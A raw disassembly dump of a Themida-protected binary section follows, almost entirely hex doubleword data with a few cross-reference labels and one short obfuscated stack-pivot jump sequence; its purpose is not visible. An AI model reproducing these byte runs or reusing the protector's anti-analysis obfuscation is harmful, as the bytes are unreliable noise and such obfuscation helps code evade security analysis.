0E17DC95Eh, 12DCABF4h, 4BCE605Fh, 1595FF25h dd 0E905E204h, 13h, 0ADE8D016h, 0F2CEA99Dh, 9DCB8713h dd 0B6D39A7h, 0FF51E495h, 0E5BB9DB5h, 45B58905h, 0FF05E217h dd 0E20A5995h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 89D0046Dh, 0E204AD9Dh dd 0CDBD8305h, 205E224h, 52840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 8BF92AC3h dd 0E21F3585h, 850F05h, 3000000h, 0E2225DBDh, 0C605h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0A9C35242h, 1B38D2D1h dd 0CF985C7h, 5E2h, 95890000h, 5E23031h, 0FFF314E9h, 18D89FFh dd 8B05E211h, 666060C1h, 8B1453BEh, 0E2168D85h, 8B666105h dd 858D61D0h, 5E20E91h, 0CFDBD89h, 0F9005E2h, 0C85h, 66525000h dd 0F93D7BFh, 5A616031h, 8D0F5058h, 2, 2390DF8Bh, 0E21C59BDh dd 0E8006A05h, 6, 13267987h, 5FFC3E7Bh, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0D4A184C3h, 0B6F15927h, 858D83A3h, 5E6A6ABh, 0F896BF66h dd 8B05C083h, 0E21A45BDh, 14E95005h, 0F8000000h, 0D7B3481Bh dd 0F704FA8Ah, 0B427A99h, 0C8DEC450h, 892F158Fh, 6A2404h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 272DCCC3h, 358E4A18h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 5A87ECC3h, 215D8589h dd 6A05E2h, 1E2D95FFh, 0BD8905E2h, 5E22F8Dh, 5E9h, 0C271AF00h dd 8D8DE85Eh, 5E59D80h, 17959589h, 9D3105E2h, 5E230F9h dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 958980C3h, 5E20D7Dh, 398C381h, 0BD8379DEh dd 5E200B9h, 37850F01h, 0F000000h, 682h, 5BD2300h, 6A05E21Fh dd 9D9D2902h, 5005E22Fh, 0CE9h, 0B011A000h, 0DF217341h dd 0F3D63D77h, 24048982h, 1E69BD89h, 95FF05E2h, 5E214E9h dd 0EAE9FA8Bh db 0Fh, 2 dup(0) byte_538367 db 0E8h ; DATA XREF: Themida_:004EFE14o dd 0 dd 0B5ED815Dh, 6A05E6A6h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0AD40C357h, 13571085h dd 1F7E4FDAh, 0A41BD2Bh, 858D05E2h, 5E58E9Eh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 19C35040h, 0E842992h dd 0B7C3F4D9h, 605690EDh, 13E8h, 0E4761100h, 90ADAD38h dd 5684B1BEh, 316A98A5h, 0D58F88AFh, 505B615Fh, 8D0F5250h dd 2, 310FC4B7h, 0E850Fh, 9E90000h, 0D2000000h, 0EE0366Dh dd 9AE8273Dh, 6A90585Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 71FAC352h, 9C64EC27h dd 0D98DD332h, 471BD8Bh, 0FF6405E2h, 35h, 0BD895200h, 5E22B49h dd 2589645Fh, 0 dd 0EE37F5BFh, 2985FF4Ch, 6A05E223h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0A1B5C351h dd 0D07939DBh, 0FF6A6F75h, 9AEF8153h, 5F153C79h, 1CD1B5FFh dd 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0CA4FE6C3h, 32DA3CF9h, 79D3C781h, 95FF249Dh dd 5E2189Dh, 129E9h, 0B0F500h, 0D6CEB81h, 70E6457Ch, 7759D8Bh dd 71E405E2h, 9E9h, 60853D00h, 0F65A21B4h, 613CC3EDh, 100830Fh dd 81660000h, 0BB9F7FEFh, 1C8A5858h, 8BC8B60Fh, 0E20E85BDh dd 0DB58905h, 0BA05E216h, 6, 14EABB66h, 7E9C18Bh, 0BD000000h dd 1E72695h, 0E8C18A57h, 10E904h, 0B2C30000h, 9E2150EEh dd 40E31E24h, 0FF579CB7h, 0F766E8D1h, 0C59D8BE2h, 2B05E21Eh dd 0ABF66C8h, 0F8D18B84h, 19E9h, 14E900h, 70E20000h, 9C5C2761h dd 0D13D28CAh, 9728549Eh, 0A9C94280h, 858B4572h, 5E21995h dd 100DBD8Bh, 0C08305E2h, 13E907h, 9FF00000h, 7E340857h dd 0A3E81696h, 6E1EA98Dh, 6A6A6336h, 0B58D89ABh, 8305E201h dd 0BD8B00C0h, 5E203F9h, 830FD03Bh, 10h, 2FD19529h, 3FE905E2h dd 8B000000h, 0D8BF0FFAh, 0DD8D8Bh, 7BB705E2h, 0F01E183h dd 2984h, 0BE900h, 0ADDD0000h, 1DD01140h, 1B5172DDh, 0DDA58373h dd 0FE05E200h, 959589FCh, 2305E219h, 0E22CD9BDh, 0E905h dd 0B58D0000h, 5E61D13h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0AEC35545h, 5B13068Dh, 0C7DEFDA2h, 14E9h dd 4AB7C00h, 0AA88E406h, 0E47D0A39h, 0A8B22DB9h, 0F0F4D807h dd 719D8BB5h, 6A05E214h, 0BD336000h, 5E21889h, 0FE9h, 46926400h dd 0DBAC85F1h, 49EBC85Ah, 443050D7h, 0B995FF61h, 5205E20Ah dd 21F99D8Bh, 0B95F05E2h, 89Eh, 10E8h, 0C4B8B300h, 4131A406h dd 78233362h, 53C31A7Dh, 0AE99Fh, 99670000h, 0A149DD0Ah dd 789ECDA7h, 6830F5Fh, 89000000h, 0E22651B5h, 0FCE18305h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0ADC35747h dd 6850F40h, 29000000h, 0E22CF98Dh, 6880F05h, 3000000h dd 0E209E19Dh, 0C02BFC05h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0DC35040h, 9DBD31A0h, 2B05E208h, 56006AD2h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0C5384C41h, 5E9h, 7E9BB800h, 8166CDB3h, 0AD6C9BEFh dd 0E8D1C233h, 0E983D003h, 0E8F47504h, 0Ah, 39AD6CF0h dd 44E8610Bh, 0BD8BBB84h, 5E20D3Dh, 55006A5Bh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 86E56423h dd 969CE869h, 7E84FB4h, 0C3000000h, 8D84663Bh, 80604474h dd 0B70F94E3h, 0D5F61F2h, 88h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 97C35040h, 84999964h, 18F19D8Bh dd 0F6005E2h, 68Fh, 659D8900h, 6105E204h, 0BE9958Bh, 0BD0B05E2h dd 5E209FDh, 0CE9h, 0AE566F00h, 0B65CE155h, 0E4738EE0h dd 618D8B27h, 6A05E207h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 1D6AC352h, 0BB07913Fh dd 0EF8157DBh, 52F5C5F9h, 359D895Bh, 5005E201h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 4C5D76E8h dd 5BC714F4h, 13E8h, 85211900h, 8DE7521Ch, 2D6E5745h, 6414A3A1h dd 1427A904h, 0F8D8D29h, 6A5F05E2h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BDBEC351h dd 0CCD9D29h, 8B6653DDh, 0BD835FFAh, 5E20D79h, 0BF840F00h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 9FDDC355h, 5F5353BAh, 0B85Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 78A87DC3h, 0B70F7E88h, 428D8DDAh, 6A05E24Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 47B3C350h, 841A64C2h, 13E95641h, 30000000h dd 99A681D2h, 2A10C2FBh, 0AC91C282h, 9FC563C7h, 0FF5F46D2h dd 50006AE1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0CBB8403Eh, 0F295E1ACh, 8E948h, 84E70000h dd 0B1AB373Ch, 0BD83E1EFh, 5E21B55h, 0AD840F00h, 6A000004h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 8044C353h, 0F2C2CE9h, 280h, 834BB700h, 0E21B55BDh dd 840F0105h, 493h, 0FBB70F51h, 0FABF0F5Fh, 1B55BD83h dd 0F0305E2h, 44886h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 852AF1Bh, 0BCFB43A9h dd 10719589h, 8B6005E2h, 0E219B9BDh, 0D98C6605h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0EFC35141h, 66EB35DFh dd 8969E5BBh, 0E21EB985h, 4E18005h, 2155BD23h, 0C90A05E2h dd 119840Fh, 0BD8B0000h, 5E21111h, 241D858Bh, 6A05E2h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 2009E5C3h, 664F58A1h, 0B56ED381h, 8533A9B7h, 5E22AA9h dd 50DBD89h, 13E805E2h, 84000000h, 0BF1954B5h, 496875CBh dd 7FAFBE46h, 0C69E7368h, 905FF1A4h, 11E8h, 8870F300h dd 0B3D5C9E6h, 94F932D2h, 0A780A2C4h, 8E98222h, 0BA000000h dd 27CD26CBh, 5B1DA3F8h, 905F5650h, 0FBB70F52h, 0F006A5Fh dd 668D8BFh, 0BB2AD20Fh, 4009C0B0h, 0F9243481h, 6A2ACD0Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 9AFBC350h, 921F1C00h, 0A8E78166h, 3995FF60h dd 8B05E208h, 0E207B99Dh, 9D858905h, 6A05E5BBh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 6A78C353h, 0B2F5DA11h, 0E904AC40h, 0Dh, 0D993365Eh dd 0ADB63307h, 0B554412Bh, 299D8BA4h, 0E905E217h, 262h dd 8B8CF780h, 0E5BB9585h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8529F8AAh dd 5E2069Dh, 0EBD8D29h, 0C705E2h, 18h, 0CBEF8166h, 99B58B61h dd 6A05E5BBh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 378FC353h, 0A05F5204h, 0B5316069h dd 5E224D1h, 1F91BD8Bh, 8B6105E2h, 0E200F985h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 409D3A43h, 89FD8A21h, 0FE906h, 0B3600000h, 1730190Fh dd 0FAB2D70Bh, 8843089Ch, 1D858B43h, 6A05E224h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 8E81C356h, 75858902h, 8905E201h, 0E216F585h, 4468905h dd 8E850h, 0C2E60000h, 550F28Dh, 0DE8B4094h, 2434895Bh dd 6820Fh, 95090000h, 5E208A5h, 0BB95B5FFh, 6A05E5h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 66230AC3h, 60F9E7BFh, 4870Fh, 0BB660000h, 8166CFFFh dd 61EE83C6h, 4E8h, 1F03FF00h, 7E900h, 25E20000h, 0E81835FAh dd 0E8605025h, 0Ch, 467290D1h, 70A98751h, 66C5D82Eh, 0AE8h dd 1F61F800h, 0EA416981h, 5E2A278Fh, 448B6159h, 0FE90424h dd 46000000h, 6AFBC1A9h, 0D4A3E132h, 8A58629h, 8B9DF2h dd 0C1BB5256h, 5B23C3FBh, 2444895Fh, 0BA605204h, 89514E2h dd 5B615B51h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 394AB55Ah, 0DD9D8BEAh, 8D05E204h dd 0E5BB9D85h, 899D8B05h, 5005E20Ah, 344626BFh, 24048920h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F5C35242h dd 0BD8B48FCh, 5E20E95h, 0DE8h, 0C05AE300h, 0DE9CB096h dd 7D86B150h, 8B66CD88h, 95FF5BDFh, 5E20839h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 80C35747h, 43F6AA6h dd 17840F1Ah, 0E9000000h, 12h, 0D6586284h, 7016EEE0h, 25CB0F75h dd 0EA8CB289h, 5661A72Ch, 5585C75Bh, 305E21Bh, 0F000000h dd 1681h, 11E900h, 0BEBA0000h, 0D564D33Bh, 19A82460h, 0A37D43ABh dd 83AD9490h, 0E5BB9DBDh, 840F0005h, 2Dh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 0B3C35646h, 235AFEB2h dd 0E210959Dh, 1EE905h, 0BF0F0000h, 0C3050FEh, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 16C1BD8Bh, 6A05E2h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0C3C8A2C3h, 7EC2D139h, 177DB501h, 0BD8305E2h, 5E21B55h dd 0B7850F03h, 8B000004h, 0E2004D9Dh, 835F5605h, 0E5BB9DBDh dd 840F0005h, 4A2h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0FFC35141h, 0C89AB39Dh, 0B7C5A0ABh, 9DB5FFA3h dd 6A05E5BBh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 294C351h, 0CA961A2Eh, 0FFDAB70Fh dd 0E2172D95h, 3DBD8B05h, 8B05E209h, 0E5BB91B5h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 30C15CDAh, 106C7EFh, 6A000100h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 60D6C353h dd 0D6403CDFh, 8B53D318h, 0E215519Dh, 2840F05h, 8B000000h dd 10E950FBh, 6A000000h, 6BAA8282h, 0A96FE0DDh, 83AE4A8h dd 891CF201h, 8E82434h, 0F2000000h, 7B860776h, 0E9068FE3h dd 0Ah, 0CAA36F3Ah, 0BDB822F5h, 0FF5B5D73h, 0E5BB9DB5h dd 8B666005h, 0BE9D7h, 0A97F0000h, 0F9AD2C18h, 1CEF6DDh dd 95FF6178h, 5E22BD1h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0D0C35141h, 2BFDDBBFh, 91B58B18h, 6A05E5BBh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 6FAEC350h, 0E1BD2B57h, 8B05E208h, 0E210DD85h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 4F5E135Bh, 0CCFA82B2h, 25BD2955h, 6605E226h dd 89A85ABBh, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0DFB5917Dh, 8BFA8B66h dd 0E232E9BDh, 0E9958B05h, 6A05E20Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0DB09C357h dd 0E1BD8BC1h, 8305E200h, 816604C2h, 89F328DBh, 89572050h dd 0E22C2D95h, 5E95F05h, 4C000000h, 3EEE9859h, 0CE5B858Dh dd 6A05E5h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 8B60A4C3h, 95958BFAh, 6105E20Dh, 0B88689h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 8B669CC3h, 0EE8F9h, 0FDB10000h, 30B62CEBh dd 786264CAh, 2BC98462h, 1FA9BD8Bh, 6A5F05E2h, 999D0B00h dd 0FF05E216h, 0E5BB9DB5h, 7E905h, 4A970000h, 16907503h dd 0E995FF32h, 6A05E214h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0C02FC357h, 0D47A2355h dd 79BD8B66h, 9605E21Eh, 0CE8h, 0C76BE400h, 34C53638h dd 3E4396E5h, 8E933h, 592E0000h, 5C4A969Ah, 505F0FD1h dd 0FE9h, 0D1FA3900h, 0A3B3D41Dh, 0B14738AEh, 99767F3h dd 79858996h, 0FF05E206h, 0E5BB9DB5h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0F3FC06CCh, 0FE9h, 95DB3D00h, 52323534h, 0E9B15D2Dh dd 8AB24763h, 2D2195FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 22F12DC3h, 1A7ED09Ch dd 0C8A0Fh, 66600000h, 0F02E8BFh, 86h, 0BD836100h, 5E20089h dd 5E840F00h, 89000000h, 0E21051BDh, 0E19D0305h, 9605E21Ch dd 0DE8h, 55B60B00h, 351FF5F9h, 9915E92Bh, 525060C8h, 840F310Fh dd 0 dd 505F585Ah, 96F88B66h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 87C35040h, 8D6F07Fh, 0CD8531CDh, 8105E215h dd 9AD19CF3h, 9DB5FF3Eh, 8B05E5BBh, 0E2011D9Dh, 1595FF05h dd 8105E204h, 2B1E54EBh, 9DB5FF12h, 0FF05E5BBh, 0E20A5995h dd 0B6D4BB05h, 0BD831E92h, 5E224CDh, 5E840F02h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B11C352h, 0E20C3DBDh, 818D0905h, 8B05E21Bh dd 0E21F3585h, 0BDB1BB05h, 0C64A0Ah, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 9549894Ah dd 9D89610Ah, 5E221A1h, 0F985C7F8h, 5E20Ch, 81000000h dd 69D024D7h, 95896015h, 5E22CB1h, 9E8h, 91FE2B00h, 423CC1B0h dd 11E9CD2Dh, 2000000h, 0AE6C9B56h, 88982313h, 1066BF1Eh dd 150BED0Eh, 43E9615Eh, 89FFFFF1h, 0E20AF595h, 95BD8905h dd 8B05E214h, 598529C1h, 3105E21Ch, 0E21039B5h, 0ED04EB05h dd 0E917E22Bh, 57Eh, 0D890DCBh, 0D6FCB83Ch, 0BF5B6793h dd 18D0BCAh, 0E9F5BB20h, 0F1EAB352h, 974227A3h, 3EBC8D09h dd 0E4155472h, 0CD3438A6h, 0FE0FEB6Ch, 0B37B3AF9h, 165039AEh dd 0B2949DD3h, 0A0678434h, 8526939Ch, 68951DDAh, 829DA586h dd 7BB04AC7h, 2F7EAB20h, 6D6937A4h, 4EDDDB1Ch, 0B1D4D207h dd 0BBC2C60Eh, 79C5B1FBh, 44073A80h, 44F11490h, 18C2A763h dd 28D29594h, 0F3D40164h, 0E4A85217h, 159B5E81h, 562E28F6h dd 20AEF2E8h, 8B129841h, 182F90AEh, 675F89FCh, 595F98DBh dd 0A927FA80h, 0C7863A04h, 75E64315h, 0ACFC1823h, 0CA039AD7h dd 578CF1h, 6EB60000h, 59D82369h, 40DBE116h, 0D669B20Bh dd 0CDFC18B9h, 0A964AB9Bh, 43A0413h, 0BF089645h, 0B72h dd 0EB4CCF00h, 0FC18B56Ah, 0FFBCCBBh, 0DB22666Eh, 0CD585C98h dd 36555382h, 0CC3A0A4Ch, 70E14608h, 0A1FC18B9h, 0F0719DCAh dd 0CD659E67h, 4992B3F5h, 0CFCBD106h, 276D6E01h, 5D599DC4h dd 4232B4CEh, 1DB907F4h, 6C2AADECh, 440BDC19h, 4FF61593h dd 5CE4078Bh, 3AE72A1Ah, 913A0411h, 84h, 276D6ED5h, 515D9DC4h dd 484E8BCAh, 4448B23Dh, 5B2B8D21h, 4F2761E5h, 0D968FAE3h dd 1710AA59h, 155472AFh, 6725D0E8h, 0E79AD704h, 167533A4h dd 5602EAFh, 3B429BD0h, 48F0EF78h, 13BFB019h, 1956FC18h dd 0EA096570h, 21676ED1h, 483CBADAh, 4391CC1h, 4DB33Ah dd 9B0C0000h, 1EE1BB7Ah, 4E3C8D01h, 0C4276D6Eh, 0C8535F9Dh dd 0E08E66E0h, 27106877h, 0AA33E980h, 626836A7h, 53599CDFh dd 4C3A83C8h, 0DB22666Eh, 18B9C07Eh, 0BB09F0FCh, 0B4FAE160h dd 0FACA8C51h, 8FC6A86h, 4134C81h, 1E33Ah, 6EC70000h, 0E3A92C6Ah dd 63E65398h, 315656F6h, 20B91532h, 9F1DDA05h, 8A18C50Ch dd 8705F073h, 0E2D29464h, 32024C9Eh, 568214C4h, 0D9169A40h dd 36DC0942h, 35341805h, 0FAC39294h, 32971601h, 0F9FA9B01h dd 779647D0h, 8709F095h, 5E15714Ah, 4E0FA82Bh, 5CF9FA90h dd 428B129Eh, 5304A5C4h, 82F9FA90h, 21DF78B5h, 4BBC3EA9h dd 0D81B22BBh, 0CC7D991Fh, 9D1EC65Bh, 0BB77A0ECh, 0A183942Bh dd 119740B3h, 0B314418Ah, 0DA4D4B8Ch, 0A556629Bh, 125BA21Fh dd 0AAC5A2C9h, 0F1F9FAD7h, 0C6337F77h, 24A7DAC0h, 0FAD7D283h dd 233403F9h, 741B7254h, 0AB9637DEh, 0D21D682Eh, 0EE046725h dd 0CD0A784Ch, 8845C3CFh, 273FE616h, 178h, 577B181Bh, 0F4A747D0h dd 0D3932884h, 8504870Ah, 18F73324h, 3495E2FCh, 0FA9197EBh dd 9E81FE01h, 5DD3EA09h, 7F48D6CBh, 2E6C6DD4h, 5818C1A0h dd 0CDB56ECFh, 0CA9383F4h, 0F9FA2689h, 57B6E358h, 5EADEBECh dd 96D44524h, 0E207BD2Ah, 72890FC6h, 8C8B8CF9h, 3826B3D0h dd 562E28B1h, 3AA3EFE8h, 6FA41174h, 0BCE82563h, 55473FE6h dd 7B000000h, 0D2557918h, 18B91475h, 4D2A4DFCh, 0EAA83214h dd 0C6A3FA37h, 0FC18FE95h, 0A633B2F5h, 0B2BCFAAFh, 231435D3h dd 0F2FC18F7h, 4A3A2485h, 0A0A7878Ah, 18F78607h, 8E4A3FFCh dd 572FB02h, 0D7974302h, 0A38433C7h, 801B5027h, 0D9E7144Bh dd 0B5C71A00h, 0FF000000h, 0A0EEEFAEh, 7212E07h, 0EB9ECBCFh dd 0F40E968h, 0C6FC18B9h, 2D9DE069h, 3E4675DEh, 93244ADh dd 96ED01FAh, 8D0BCC77h, 9220DB9Ah, 0B8E6E7F9h, 0D3F41177h dd 7857237h, 0FAFABDE4h, 6DEE6FBEh, 66C2A939h, 6BB4155Ch dd 0F9FA2DD1h, 9EECD88Eh, 854E8F59h, 0E7AE9CEDh, 5A43BCA4h dd 9BD00DFEh, 6A38A5E4h, 501DA13h, 6619CD52h, 1D9C08C1h dd 3B423904h, 1F50F978h, 36F7D113h, 0F8E16079h, 28F6BB2h dd 46891683h, 780787C6h, 0D1556EEFh, 0FFC8A7F7h, 0D8457F77h dd 6F372028h, 2491FBAEh, 8623A225h, 0F7D18ED5h, 4D96370Ch dd 0A365894h, 12D8C6BDh, 0D0577B18h, 0FF6F5E77h, 0AE7BEC01h dd 9A64F5F2h, 0C7BCEAF3h, 0F4BC3DA4h, 0EA63BA06h, 0FCB8ABDh dd 3F2F7883h, 0FED33CE8h, 83245B90h, 0F9FE8DD2h, 0F7933403h dd 0C04745B2h, 8D77F841h, 0D1AEF9FEh, 0C2046D08h, 650BFB64h dd 0F2E75323h, 0D89B2EB4h, 74A9321h, 0D255D4D2h, 0C05B6793h dd 7281B28Bh, 1B50EBF2h, 0BD38BBC2h, 0B425ACFFh, 0A92C97F6h dd 333B98E3h, 63EDFD43h, 0F4B22793h, 845E9BEEh, 508F23A8h dd 0FAC03989h, 80FD2AA3h, 5F1BDE81h, 0F21379FAh, 66D3A8EBh dd 6EF5D607h, 307h, 9DA73F00h, 0D92C686Eh, 0C05B6196h dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h dd 769519C1h, 788307CFh, 0E68956F2h, 4C681h, 0BD550000h dd 4, 875DEE29h, 685C2434h, 7B03h, 56241489h, 0C681E689h dd 4, 8704EE83h, 895C2434h, 0BB53242Ch, 28FB3907h, 0A42145BAh dd 5BDA0136h, 514FE281h, 0C2817D3Fh, 6D611BEh, 0AB65EA81h dd 8B545E0Eh, 0C483242Ch, 69B26804h, 14890000h, 24348124h dd 17BF5553h, 8108458Fh, 55530875h, 34FF17BFh, 0C4815D24h dd 4 db 8Bh, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_4F5CCB ; --------------------------------------------------------------------------- db 0F2h dd 8AB80626h, 305E6BBh, 0B7E0FFC5h, 0C65D6B00h, 0B33F2338h dd 15550F78h, 2B693467h, 935EA73h, 3E4703D3h, 0B922BD8Ah dd 0F7595F8Ah, 34704D33h, 2F5BBA8Ah, 0A467777Ah, 0C859C8C2h dd 512C96Dh, 0DC540894h, 0A45D48F4h, 270BF9E9h, 291FAD82h dd 872EEB67h, 8D112D93h, 0E20E9185h, 68F0F05h, 8B000000h dd 0E21FC19Dh, 4895005h, 0F6F78124h, 0F49A998h, 6AFAB7h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 7FC35646h dd 3EEB702h, 0C88842B9h, 5BF55389h, 2FBF006Ah, 8B5D5299h dd 0E2302D9Dh, 0FA858D05h, 5005E6BDh, 23E99589h, 315B05E2h dd 0E21FE59Dh, 5C08305h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0F4C35040h, 0ABA2F1ADh, 53FB3832h, 299D8B17h dd 9005E231h, 66505B57h, 901EBEBFh, 6AFE8B66h, 0E8FABF00h dd 6A7FA4h, 0BE9ABF66h, 1E2D95FFh, 0BD8B05E2h, 5E221A9h dd 9D808D8Dh, 6A05E5h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 193EE9C3h, 665776F1h, 7588E781h dd 8E95Bh, 9CB0000h, 2C8C9C9Eh, 0D1FFCB61h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 28C35646h, 0B9BD83FEh dd 105E200h, 5F850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 8B66B3C3h, 90026AFBh dd 0BE95160h, 2E000000h, 0CC7C72B6h, 0C59408B7h, 0B55AD5FAh dd 8B50611Dh, 8C0F90DAh, 11h, 8E8h db 0 byte_539A99 db 7Fh, 8Ch, 1 ; DATA XREF: Themida_:004EE1FCo dd 7C3E828Eh, 74E78098h, 0E995FF5Fh, 8905E214h, 0E2139195h db 5 byte_539AB1 db 0E9h, 0FBh, 0Dh ; DATA XREF: Themida_:004EFC9Co dd 0E80000h, 5D000000h, 0BE04ED81h, 0DE905E6h, 0CB000000h dd 78AEE30Ch, 162E065Eh, 8DAF1CB0h, 8E9E858Dh, 6A05E5h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0A93604C3h, 12E951h, 0EEF60000h, 0DF88DF4Ch, 12969294h dd 36DF1AA1h, 2CA5E262h, 8B605090h, 0DF8B66C8h, 66505F61h dd 902B17BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0BDC35242h, 53DABFA2h, 675D33C4h, 0C624BF51h, 11E91B74h dd 89000000h, 0BBD94FCBh, 9ECAC265h, 4109241Fh, 0E185A48Ah dd 35FF64h, 23000000h, 0E214499Dh, 25896405h, 0 dd 232985FFh, 10E805E2h db 3 dup(0) byte_539B7F db 0E1h ; DATA XREF: Themida_:004F0D28o dd 42B7365Ah, 66E4C4A6h, 57C7203Fh, 8A701B40h, 0FF6A5BFDh dd 1D6D8589h, 0B5FF05E2h, 5E221FDh, 32FDBD8Bh, 95FF05E2h dd 5E2189Dh, 0F1E9h, 0D3816600h, 0B0DD8Ch, 0BF70E6F9h dd 66A4CDD1h, 0D38071E4h, 0F613C60h, 0D583h, 8A0F5300h dd 6, 0D199D8Bh, 0F5B05E2h, 8D29C8B6h, 5E20F95h, 6BAh dd 0EF816600h, 0C18B04EFh, 0CE9h, 659D1100h, 0D8500FF4h dd 0BF8D1147h, 4E8C1DFh, 8880Fh, 810F0000h, 2, 0F7665B53h dd 5E9E2h, 0D8EA0000h, 2B6C6C81h, 0BD8B60C8h, 5E22421h dd 9DF18166h, 0D18B61B3h, 31059589h, 0E905E2h, 8B000000h dd 0E2140985h, 0CE905h, 8ED70000h, 0F1FD2738h, 0A50B192h dd 0C083F6DEh, 0C8C78107h, 83671B26h, 3BF900C0h, 0B830FD0h dd 89000000h, 0E215A1B5h, 30E905h, 8D8B0000h, 5E21555h dd 0F01E183h, 2184h, 0B9BD8900h, 8305E20Fh, 0E21555A5h dd 0BD33FE05h, 5E20D6Dh, 14099589h, 8B6605E2h, 0E9DFh dd 0B58D0000h, 5E62785h, 0E850006Ah, 3, 58C35820h, 4244489h 